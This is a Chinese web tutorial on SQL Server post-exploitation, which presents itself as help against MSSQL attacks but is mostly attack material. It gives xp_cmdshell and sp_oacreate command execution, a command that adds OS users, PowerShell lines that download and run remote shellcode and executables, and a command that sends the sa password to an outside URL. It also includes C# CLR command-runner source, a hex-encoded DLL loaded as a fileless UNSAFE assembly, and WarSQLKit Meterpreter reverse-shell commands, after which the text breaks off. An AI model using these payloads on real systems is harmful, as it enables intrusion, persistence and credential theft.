您好,登錄后才能下訂單哦!
本篇內容主要講解“如何解決MSSQL數據庫被攻擊問題”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“如何解決MSSQL數據庫被攻擊問題”吧!
一年一度的網絡安全建設成果檢驗即將開始,在網絡安全實戰攻防演練這場最關鍵的戰役中,辦公應用系統、Web中間件,數據庫等是攻擊方主要的攻擊對象,由于使用量最大,數據庫往往會成為攻擊者的首選目標之一。
以微軟SQL Server為例,除了常見的SQL注入漏洞,攻擊方還會用一些“出其不意”的招式,將SQL Server原本的優勢轉變為攻擊的突破口,比如在相應的權限下,攻擊者可以利用SQL Server強大的存儲過程執行不同的高級功能,通過增加SQL Server數據庫用戶,權限維持等方式,攻擊用戶數據庫系統,下文將詳述攻擊方那些“不常見”的數據庫攻擊手段以及防守方的應對思路。
SQL Server是Microsoft開發的關系數據庫管理系統(RDBMS)。 它是市場上最受歡迎的DBMS之一。SQL Server具有極其廣泛的用途,它可以在各個方面使用,從存儲個人博客的內容到存儲客戶數據等。
在2017版之前,SQL Server僅適用于Windows。 SQL Server 2017中最大的變化之一是,它現在可在Linux和Docker容器上使用。 這意味著可以在Mac上運行SQL Server。
SQL Server的可用版本
版本 | 描述 |
---|---|
Enterprise Edition | 此版本僅在Windows Server操作系統上運行。 適用于對速度和可用性具有較高優先級的大型生產數據庫服務器。提供復制和聯機分析過程(OLAP)服務等功能,這些服務可能會增加其安全風險。 |
Standard Edition | 該版本與Enterprise Edition相似,但缺少虛擬接口系統局域網(VI SAN)支持和某些高級OLAP功能。 |
Personal Edition | 它旨在用于工作站和便攜式計算機,而不是服務器。 其設計最多支持五個數據庫用戶。 |
Developer Edition | 面向開發人員版本,它與Enterprise Edition具有相似的功能,但并不意味著可以在真實的生產環境中運行。 |
SQL Server是一個客戶端/服務器數據庫管理系統(DBMS)。 這允許有許多不同的客戶端同時,全部連接到SQL Server。 這些客戶端的每一個都可以通過不同的工具進行連接。
例如,一個客戶端可能使用如SQL Server Management Studio(SSMS)之類的圖形工具,而另一客戶端可能使用諸如sqlcmd之類的命令行工具。 同時,網站也可以從Web應用程序連接到SQL Server。 并且可能有許多其他客戶端都使用自己的工具出于自己的目的進行連接。
客戶端/服務器DBMS的主要優點是多個用戶可以同時訪問它,每個用戶都有特定的訪問級別。如果數據庫管理員配置對應的權限,則任何連接到SQL Server的客戶端將只能訪問他們被允許訪問的數據庫。 他們只能執行允許執行的任務。 所有這些都從SQL Server本身內部進行控制。
SQL Server是在服務帳戶的上下文中在操作系統上運行的一組Windows服務。每次安裝SQL Server實例時,實際上都會安裝一組Windows服務并具有唯一的名稱。現有的SQL Server帳戶類型:
Windows帳戶。
SQL Server登錄名(SQL Server內部)。
數據庫用戶(SQL Server內部)。
Windows帳戶和SQL Server登錄名用于登錄SQL Server。除非系統管理員,否則必須將SQL Server登錄名映射到數據庫用戶才能訪問數據。數據庫用戶是在數據庫級別內單獨創建的。
SQL Server的常見角色是:
Sysadmin角色:SQL Server管理員。
Public角色:最低特權,類似于Windows中的everyone組。
更多請參考:https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2017
表格數據流(Tabular Data Stream, TDS)協議是一種數據庫服務器和客戶端間交互的應用層協議,為微軟SQL Server數據庫和Sybase公司數據庫產品所采用。
TDS Version | Supported Products |
---|---|
4.2 | Sybase SQL Server < 10 and Microsoft SQL Server 6.5 |
5.0 | Sybase SQL Server >= 10 |
7.0 | Microsoft SQL Server 7.0 |
7.1 | Microsoft SQL Server 2000 |
7.2 | Microsoft SQL Server 2005 |
詳細的協議結構分析,請參考:http://freetds.cvs.sourceforge.net/checkout/freetds/freetds/doc/tds.html
下面先簡單介紹SQL Server一些常用的攻擊面的利用方式。
查詢xp_cmdshell存儲過程是否存在
xtype為對象類型,xtype='x',表示存儲過程的對象類型為擴展存儲過程。
select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
TSQL代碼判斷是否開啟xp_cmdshell
declare @RunningOnACluster char(1) declare @xp_cmdshell_available char(1) declare @result int set @xp_cmdshell_available='Y' set @result=0 select @RunningOnACluster=case when convert(int, serverproperty('IsClustered')) = 1 then 'Y' else 'N' end if(0=(select value_in_use from sys.configurations where name='xp_cmdshell')) set @xp_cmdshell_available='N' if @RunningOnACluster='Y' begin if @xp_cmdshell_available='Y' select @result=1 if @xp_cmdshell_available='N' select @result=2 end select @result
恢復xp_cmdshell存儲過程
解決Error Message:未能找到存儲過程 ‘master..xp_cmdshell’。
第一步先刪除:
drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell'
第二步恢復:
dbcc addextendedproc("sp_oacreate","odsole70.dll") dbcc addextendedproc("xp_cmdshell"," ")
直接恢復,不管sp_addextendedproc是不是存在,需要自行上傳xplog70.dll,恢復擴展存儲過過程xp_cmdshell的語句:
dbcc addextendedproc("xp_cmdshell","xplog70.dll")
代碼判斷一系列存儲過程是否存在,若不存在則恢復。
if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]')) dbcc addextendedproc ('xp_cmdshell','xplog70.dll') if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_dirtree]')) dbcc addextendedproc ('xp_dirtree','xpstar.dll') if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_fixeddrives]')) dbcc addextendedproc ('xp_fixeddrives','xpstar.dll') if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_regwrite]')) dbcc addextendedproc ('xp_regwrite','xpstar.dll') if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_regread]')) dbcc addextendedproc ('xp_regread','xpstar.dll')
開啟xp_cmdshell存儲過程
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; exec SP_CONFIGURE 'xp_cmdshell', 1; RECONFIGURE;
關閉xp_cmdshell存儲過程
關閉xp_cmdshell配置
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
刪除xp_cmdshell的語句:
exec sp_dropextendedproc 'xp_cmdshell';
刪除xp_cmdshell過程,再添加xp_cmdshell過程,需要自行上傳xplog70.dll恢復被刪除的xp_cmdshell。
drop procedure xp_cmdshell; exec sp_addextendedproc "xp_cmdshell", "xplog70.dll";
附錄
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' exec sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll' exec sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll' exec sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll' exec sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll' exec sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll' exec sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_regread ,@dllname ='xpstar.dll' exec sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
xp_cmdshell執行系統命令
xp_cmdshell執行whoami命令
exec master.dbo.xp_cmdshell 'whoami' exec master.dbo.xp_cmdshell "whoami" exec xp_cmdshell "whoami";
xp_cmdshell執行ipconfig/all命令
exec master..xp_cmdshell 'ipconfig/all'
查詢操作系統和版本信息(分別對應中英文系統)
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"' exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本"'
通過xp_cmdshell執行wmic 獲取系統信息
exec master..xp_cmdshell 'wmic cpu get name,NumberOfCores,NumberOfLogicalProcessors/Format:List'
調用reg query注冊表鍵值判斷RDP服務的端口號
exec master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber'
通過xp_cmdshell執行添加testuser1用戶并且不輸出結果
exec master..xp_cmdshell 'Net user testuser1 passwd1 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add',NO_OUTPUT
通過xp_cmdshell刪除testuser1用戶并且不輸出結果
EXEC master..xp_cmdshell 'net user testuser1/delete', NO_OUTPUT
通過xp_cmdshell執行taskkill 殺死taskmgr.exe,taskmgr.exe用于任務管理器。它顯示系統中正在運行的進程。該程序使用Ctrl+Alt+Del(一般是彈出Windows安全再點擊“任務管理器”)或者Ctrl+Shift+Esc打開,這不是純粹的系統程序,但是如果終止它,可能會導致不可知的問題。
exec master.dbo.xp_cmdshell 'taskkill /f /im taskmgr.exe';
調用xp_cmdshell執行mkdir命令創建目錄
exec master..xp_cmdshell 'mkdir "C:\test\" '
通過xp_cmdshell執行dir命令
exec master..xp_cmdshell 'dir c:\' exec xp_cmdshell 'dir c:\'
通過xp_cmdshell刪除文件
exec master..xp_cmdshell 'del C:\test';
xp_cmdshell調用Powershell
通過xp_cmdshell調用powershell 下載http://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1
exec xp_cmdshell 'powershell -c "iex((new-object Net.WebClient).DownloadString(''http://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1''))"'
調用xp_cmdshell執行echo CreateObject最后寫入C:/ProgramData/vget.vbs文件
exec master..xp_cmdshell 'echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 > C:/ProgramData/vget.vbs';
通過xp_cmdshell調用cmd.exe 執行powershell 調用OpenRead方法向數據庫發送登錄用戶名sa密碼
exec xp_cmdshell 'powershell (new-object System.Net.WebClient).OpenRead(''http://example/test.jsp?data=127.0.0.1%7c1433%7csa%7cDb123456'')'
通過xp_cmdshell調用powershell下載test0.exe后并執行
exec master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'
SQL Server存在一系列的存儲過程,可以對注冊表進行增刪改查。xp_regread、xp_regwrite、xp_regdeletvalue、xp_regdeletkey、xp_regaddmultistring等。
讀注冊表
exec xp_regread 'HKEY_current_user','Control Panel\International','sCountry' exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'
枚舉可用的注冊表鍵值
exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'
判讀文件是否存在,第一列返回0表示文件不存在,返回1表示文件存在。當執行完無回顯命令時,一般都將結果輸入至文件中,利用此存儲過程可以判斷無回顯命令是否執行成功。
判讀文件是否存在
exec xp_fileexist 'C:\\test\test.txt'
列出當前目錄
exec xp_subdirs "C:\\"
獲取服務器名稱
exec xp_getnetname
獲取服務器信息
exec xp_msver
獲取磁盤空間信息
exec xp_fixeddrives
附常用的一些危險的存儲過程,可自查存儲過程的功能和用法。
xp_cmdshell xp_dirtree xp_enumgroups xp_fixeddrives xp_loginconfig xp_enumerrorlogs xp_getfiledetails Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty Sp_OAStop Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite sp_makewebtask
SQL Server 觸發器用于執行指定動作之后執行sql語句,比如配合update觸發sql語句。
首先創建一個test表,插入字段值。
創建一個名為test1的觸發器,當test表執行update動作時,觸發test1執行xp_cmdshell命令。
set ANSI_NULLS on go set QUOTED_IDENTIFIER on go create trigger [test1] on [test] AFTER UPDATE as begin execute master..xp_cmdshell 'cmd.exe /c calc.exe' end go
執行下列更新test表操作,test1觸發器觸發。
UPDATE test SET name = 'wangwu' WHERE LastName = 'zhangsan'
SQL Server中的COM組件SP_OACREATE,執行系統命令,但是此利用方法無回顯。
查看SP_OACREATE狀態。
select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
利用count(*)判斷是否存在,,存在即返回1。
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
利用sp_configure存儲過程,啟用SP_OACREATE
exec sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
利用SP_OACREATE執行系統命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami /all >C:\\test\test.txt'
CLR微軟官方把他稱為公共語言運行時,從 SQL Server 2005 (9.x) 開始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共語言運行時 (CLR) 組件。 這意味著現在可以使用任何 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)來編寫存儲過程、觸發器、用戶定義類型、用戶定義函數、用戶定義聚合和流式表值函數。
官方鏈接:https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/common-language-runtime-clr-integration-programming-concepts?view=sql-server-ver15
在利用MSSQL服務實現命令執行的時候,通常的做法是利用xp_cmdshell存儲過程在MSSQL進程的上下文中運行操作系統命令。如果要想利用這種技術運行自定義代碼,通常需要使用LOLBINS,添加新的操作系統用戶,或通過BCP向磁盤中寫入二進制文件,這些方法的缺點是很容易被發現。CLR方式可以利用16進制文件流方式導入DLL文件,這樣不需要文件落地。
利用VS創建MSSQL數據庫項目
修改目標平臺和勾選創建腳本
在SQL Server 2005中引入了從MSSQL運行.NET代碼的功能,并在后續版本中疊加了許多保護措施,來限制代碼可以訪問的內容。在創建.Net程序集時,會給它們指定一個權限級別,例如:
CREATE ASSEMBLY SQLCLRTest FROM 'C:\MyDBApp\SQLCLRTest.dll' WITH PERMISSION_SET = SAFE;
其權限集有三個選項:
SAFE:基本上只將MSSQL數據集暴露給代碼,其他大部分操作則都被禁止。
EXTERNAL_ACCESS:允許訪問底層服務器上某些資源,但不應該允許直接執行代碼。
UNSAFE:允許使用任何代碼。
微軟關于SQL CLR的詳細文檔可通過以下地址獲得: https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration
修改目標框架和權限級別為UNSAFE。
創建SQL CLR C# 存儲過程
寫入代碼
using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using System.Diagnostics; using System.Text; using Microsoft.SqlServer.Server; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void ExecCommand (string cmd) { // 在此處放置代碼 SqlContext.Pipe.Send("Command is running, please wait."); SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd)); } public static string RunCommand(string filename,string arguments) { var process = new Process(); process.StartInfo.FileName = filename; if (!string.IsNullOrEmpty(arguments)) { process.StartInfo.Arguments = arguments; } process.StartInfo.CreateNoWindow = true; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardError = true; process.StartInfo.RedirectStandardOutput = true; var stdOutput = new StringBuilder(); process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data); string stdError = null; try { process.Start(); process.BeginOutputReadLine(); stdError = process.StandardError.ReadToEnd(); process.WaitForExit(); } catch (Exception e) { SqlContext.Pipe.Send(e.Message); } if (process.ExitCode == 0) { SqlContext.Pipe.Send(stdOutput.ToString()); } else { var message = new StringBuilder(); if (!string.IsNullOrEmpty(stdError)) { message.AppendLine(stdError); } if (stdOutput.Length != 0) { message.AppendLine("Std output:"); message.AppendLine(stdOutput.ToString()); } SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message); } return stdOutput.ToString(); } }
編譯生成DLL文件。
運行權限級別為“SAFE”的代碼,只需啟用CLR就可以了;但是,要想運行權限級別為“EXTERNAL_ACCESS”或“UNSAFE”的代碼,則需要需要修改相應的配置,以及DBA權限。2017年之前和之后的服務器版本,運行標記為“UNSAFE”的CLR所需步驟是不同的,下面分別進行介紹:
對于SQL Server 2017之前的版本
顯示高級選項:
sp_configure 'show advanced options',1;RECONFIGURE
啟用CLR:
sp_configure 'clr enabled',1;RECONFIGURE;
將存儲.Net程序集的數據庫配置為可信賴的。
ALTER DATABASE master SET TRUSTWORTHY ON;
SQL Server 2017及更高版本
對于SQL Server 2017及更高版本,則引入了嚴格的安全性,也必須禁用。另外,也可以根據提供的SHA512哈希值,針對單個程序集授予其UNSAFE權限,而不是將整個數據庫都標記為可信的。對于SQL Server 2017及以上版本,如下所示:
顯示高級選項:
sp_configure 'show advanced options',1;RECONFIGURE
啟用CLR:
sp_configure 'clr enabled',1;RECONFIGURE;
將某程序集的SHA512哈希值添加到可信程序集列表中:
sp_add_trusted_assembly @hash= <SHA512 of DLL>;
從現在開始,程序集的創建和調用對于任何SQL Server版本來說,都是一樣的。
通過十六進制字符串創建程序集——如果可以從十六進制字符串創建程序集,則意味著無需創建一個二進制文件并將其寫入SQL服務器進程可訪問的位置:
CREATE ASSEMBLY clrassem from <HEX STRING> WITH PERMISSION_SET = UNSAFE;
創建存儲過程,以從程序集運行代碼:
CREATE PROCEDURE debugrun AS EXTERNAL NAME clrassem.StoredProcedures.runner;
運行該存儲過程:
debugrun
在代碼運行后,可以刪除存儲過程、程序集以及受信任的哈希值,并將前面修改的安全設置恢復原值。下面顯示了一個完成該任務的SQL查詢示例
對于SQL Server 2017及更高版本:
sp_drop_trusted_assembly @hash=<SHA512 of DLL>
對于SQL Server 2017之前的版本:
ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY OFF;
對于所有版本:
DROP PROCEDURE debugrun; DROP ASSEMBLY clrassem; sp_configure 'clr strict security',1;RECONFIGURE sp_configure 'show advanced options',0;RECONFIGURE
現在可以利用16進制文件流方式導入DLL文件,這樣不需要文件落地。
CREATE ASSEMBLY [Database1] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006E587C5E0000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C(隔開)401E4010E000302A7020E00D200A7020E004102A70206001402400006002102400006003100E401000000003700000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000002700000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F300044617461626173653100496E743332003C(隔開敏感詞)4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C(隔開敏感詞)4578656375746500546F537472696E67006765745F4C656E677468004461746162617365312E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C(隔開敏感詞)436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C(隔開敏感詞)4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000593C(隔開敏感詞)457501949B4EAC85A8875A6084DC000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006E587C5E00000000020000001C010000E42A0000E40C000052534453CEC8B2762812304EAEE7EF5EE4D9EC7901000000463A5C746F6F6C735F736F757263655C(隔開敏感詞)4461746162617365315C(隔開敏感詞)4461746162617365315C6F626A5C(隔開敏感詞)44656275675C(隔開敏感詞)4461746162617365312E706462000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C(隔開敏感詞)4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000004400610074006100620061007300650031002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004400610074006100620061007300650031002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE; GO
創建存儲過程
CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand] go
exec dbo.ExecCommand "whoami /all";
WarSQLKit是一個針對MSSQL CLR進行利用的工具,有以下兩個版本。
WarSQLKit是完全版本,內置多種功能。
WarSQLKitMinimal是簡化版,只能執行命令。
https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
利用16進制文件流方式導入WarSQLKit.dll文件。
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4D5A...... WITH PERMISSION_SET = UNSAFE; GO
創建存儲過程
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](max) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec GO
WarSQLKit CmdExec實現了以下功能
執行任意Windows命令
EXEC sp_cmdExec 'whoami';
以SYSTEM權限執行Windows命令
EXEC sp_cmdExec 'whoami /RunSystemPriv';
以SYSTEM權限運行PowerShell命令
EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS';
生成以SYSTEM權限運行的X86 Meterpreter反向連接shell
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';
生成以SYSTEM權限運行的X64 Meterpreter反向連接shell
EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';
生成以SYSTEM權限運行的X64 Meterpreter RC(隔開敏感詞)4反向連接shell
